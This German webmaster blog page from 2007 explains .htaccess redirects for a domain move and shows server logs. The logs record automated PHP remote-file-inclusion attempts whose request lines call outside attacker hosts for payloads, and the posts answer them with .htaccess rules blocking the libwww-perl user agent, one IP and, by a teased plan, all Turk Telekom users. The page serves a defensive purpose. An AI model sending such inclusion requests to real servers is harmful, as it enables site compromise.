Adsense Geld sparen 1
Adsense Geld sparen 2
.htaccess Beispiele
Freie Icons
Coole Webcam Applikation
Grandios!
Tabcreator

So, weil ich nun auch eine schmerzhafte Abmahnung erhalten habe, fange ich an meine Domains aus Deutschland "abzuziehen" und woanders hosten zu lassen. Dabei steige ich auch von .de Domains auf .com/.net/.org um und möchte natürlich, dass Besucher das nicht merken und auf meine Treffer über Suchmaschinen möchte ich auch nicht verzichten.

Also habe ich heute eine .de Domain auf eine .com Domain umgezogen und im Root der .de Domain folgendes platziert:

RewriteCond %{HTTP_HOST} ^(www\.)?alterdomainname\.de$
RewriteRule ^(.*)$ http://www.neuerdomainname.com/$1 [L,R=301]

RewriteCond %{HTTP_HOST} ^(blog\.)?alterdomainname\.de$
RewriteRule ^(.*)$ http://www.neuerdomainname.com/$1 [L,R=301]

Wenn die User nun beispielsweise die Seite www.alterdomainname.de/gaestebuch.html aufrufen, dann werden sie automatisch auf www.neuerdomainname.com/gaestebuch.html geleitet. Suchmaschinen wird ebenfalls gleich mitgeteilt, dass sie den Link bitte auf die neue Adresse ändern sollen.

So gehen dann auch die Hostingkosten ins Ausland. Ist mir aber immer noch lieber, als in Deutschland wegen jeder Scheiße abgemahnt zu werden.

Sündenrechner
.htaccess und Mod_Rewrite
Qualifizierte Hotline
Marktlücke?
Anonyme Domains

htaccess-code Generator
PHP Resource Index
HTML Validator
Forensoftware-Vergleich
HTML Entity Charater Lookup
PHP Form Generator
OpenAds

Es scheint wirklich groß in Mode zu sein, mit automatisierten Skripts Schwachstellen auf Webservern zu suchen. Falls hier bald nichts mehr antwortet, dann hat das was hiermit zu tun :

2007-04-19 22:27 unknown libwww-perl/5.65 nwns0001.nwwnet.net
2007-04-19 22:27 unknown libwww-perl/5.79 222.236.47.187
2007-04-19 22:27 unknown libwww-perl/5.803 203.85.114.102
2007-04-19 22:26 unknown libwww-perl/5.79 flex2532-001.flexservers. com
2007-04-19 22:26 unknown libwww-perl/5.805 psts.net.ua
2007-04-19 22:26 unknown libwww-perl/5.79 222.236.47.187
2007-04-19 22:25 unknown libwww-perl/5.79 flex2532-001.flexservers. com
2007-04-19 22:25 unknown libwww-perl/5.65 nwns0001.nwwnet.net
2007-04-19 22:25 unknown libwww-perl/5.65 ns3.rosehosting.com
2007-04-19 22:25 unknown libwww-perl/5.79 59-125-93-22.HINET-IP.hin et.net
2007-04-19 22:25 unknown libwww-perl/5.805 smile.vanleuven.com
2007-04-19 22:24 unknown libwww-perl/5.65 nwns0001.nwwnet.net

65.123.73.11 - - [19/Apr/2007:22:24:59 +0200] "GET //naboard//naboard_pnr.php?skin=http://212.191.87.139/solo/cat.c? HTTP/1.1" 404 163485 "-" "libwww-perl/5.65"
217.78.242.26 - - [19/Apr/2007:22:25:00 +0200] "GET //naboard//naboard_pnr.php?skin=http://212.191.87.139/solo/cat.c? HTTP/1.1" 404 163863 "-" "libwww-perl/5.805"
59.125.93.22 - - [19/Apr/2007:22:25:07 +0200] "GET //naboard//naboard_pnr.php?skin=http://212.191.87.139/solo/cat.c? HTTP/1.1" 404 163485 "-" "libwww-perl/5.79"
209.135.140.145 - - [19/Apr/2007:22:25:18 +0200] "GET //naboard//naboard_pnr.php?skin=http://212.191.87.139/solo/cat.c? HTTP/1.1" 404 163499 "-" "libwww-perl/5.65"
65.123.73.11 - - [19/Apr/2007:22:25:19 +0200] "GET //naboard//naboard_pnr.php?skin=http://212.191.87.139/solo/cat.c? HTTP/1.1" 404 163491 "-" "libwww-perl/5.65"
89.255.3.4 - - [19/Apr/2007:22:25:51 +0200] "GET //naboard//naboard_pnr.php?skin=http://212.191.87.139/solo/cat.c? HTTP/1.1" 404 163492 "-" "libwww-perl/5.79"
222.236.47.187 - - [19/Apr/2007:22:26:03 +0200] "GET //naboard//naboard_pnr.php?skin=http://212.191.87.139/solo/cat.c? HTTP/1.1" 404 163576 "-" "libwww-perl/5.79"

Da probiert gerade ein Bot hier auf dem Server Schwachstellen zu finden.
siehe hier

Update: Jemand hat danach gesucht wie man den User-Agent libwww-perl aussperren kann:

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^libwww-perl
RewriteRule ^.*$ - [F]

in die .htaccess eintragen.

In einem Shop unserer Kunden versucht nun schon seit einer Stunde jemand einen (scheinbar) neuen Exploit untertzbringen.

Es werden immer Seiten nach dem Muster /index.php/cat/index.php?cat=1&page=http://62.129.173.149/img/dog.c? versucht aufzurufen. Mein Kaspersky rät davon ab die Seite http://62.129.173.149/img/dog.c? aufzurufen, um zu gucken was sich dahinter verbirgt Ist ja auch nicht so wichtig. Ich nehme vorsorglich mal die 62.129.173.149 in die Liste der verbotenen Hosts mit auf. Die Zugriffe selber kamen allerdings von verschiedenen Adressen im 200er IP Adressbereich, so dass man davon ausgehen darf, dass hier einige Bots infizierbare Seiten abgrasen.

65.75.134.50 - - "GET /index.php/cat/index.php?cat=&page=http://62.129.173.149/img/dog.c? HTTP/1.1" 200 19468 "-" "libwww-perl/5.805"
85.214.41.173 - - "GET /index.php/cat/index.php?cat=&page=http://62.129.173.149/img/dog.c? HTTP/1.1" 200 19473 "-" "libwww-perl/5.803"
200.72.22.114 - - "GET /index.php/cat/index.php?cat=1&page=http://62.129.173.149/img/dog.c? HTTP/1.1" 200 19471 "-" "libwww-perl/5.800"
213.201.4.83 - - "GET /index.php/cat/index.php?cat=1&page=http://62.129.173.149/img/dog.c? HTTP/1.1" 200 19463 "-" "libwww-perl/5.805"
85.19.150.85 - - "GET /index.php/cat/index.php?cat=&page=http://62.129.173.149/img/dog.c? HTTP/1.1" 200 19216 "-" "libwww-perl/5.805"

Naja... Viel Spaß noch

Ob mein deny from 62.129.173.149 in der .htaccess wirklich etwas bringt?

Es gibt ein recht aktives Forum mit einer Hand voll Skript Kiddies, die den ganzen Tag nichts anderes tun, als neue Skripte auszuprobieren, die mehr oder weniger automatisch Schwachstellen in PHP oder CGI Anwendungen suchen, um dort die Seiten zu "defacen", also nette Bilder oder Nachrichten in deren Namen zu hinterlassen. Wir beobachten diese "Angriffe" regelmäßig in den Logfiles unserer Kunden.

Bisher kommen diese kläglichen Versuche immer von Usern der TURK TELEKOM, also liegt es nah einfach Usern der TURK TELEKOM den Zugriff auf den Webserver zu verbieten. Die sehen dann eine Fehlerseite (sofern eine konfiguriert ist) und suchen sich neue Opfer. Man sollte also 1. immer prüfen, ob die eingesetzten Anwendungen noch aktuell sind oder ob es Sicherheitsupdates gibt und dann kann man diese Zeilen hier in seine .htaccess einfügen, um allen Benutzern der TURK TELEKOM den Zugriff zum Server zu verwehren.
Continue reading "Turk Telekom aussperren"